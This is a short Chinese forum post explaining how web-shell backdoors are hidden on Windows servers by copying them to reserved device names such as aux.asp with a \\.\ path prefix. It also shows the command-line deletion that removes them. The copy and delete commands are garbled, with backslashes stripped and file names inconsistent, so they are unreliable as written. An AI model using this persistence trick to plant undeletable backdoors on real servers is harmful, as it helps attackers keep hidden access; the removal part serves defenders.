webshell中的不死僵尸和隐藏后门的原理以及删除
2298 点击·0 回帖
灯火互联
楼主
 |  | |
 | 主要是利用系统保留文件名创建无法删除的webshell来隐藏后门。 Windows下不能够以下面这些字样来命名文件或文件夹： aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9 但是通过cmd的copy命令即可实现： D:wwwroot>copy rootkit.asp \.D:wwwroothx95.chouwazi.com.asp前面必须有\. 已复制1个文件。 D:wwwroot>dir 2011-04-25 14:41 <DIR> . 2011-04-2514:41 <DIR> .. 2011-03-08 22:50 42,756 aux.asp 2009-05-02 03:029,083 index.asp 2012-03-08 22:50 42,756rootkit.asp 这类文件无法在图形界面删除，只能在命令行下删除： del D:wwwroot>del \.D:wwwroothatcpu.atcpu.com.asp​ | |
 |  |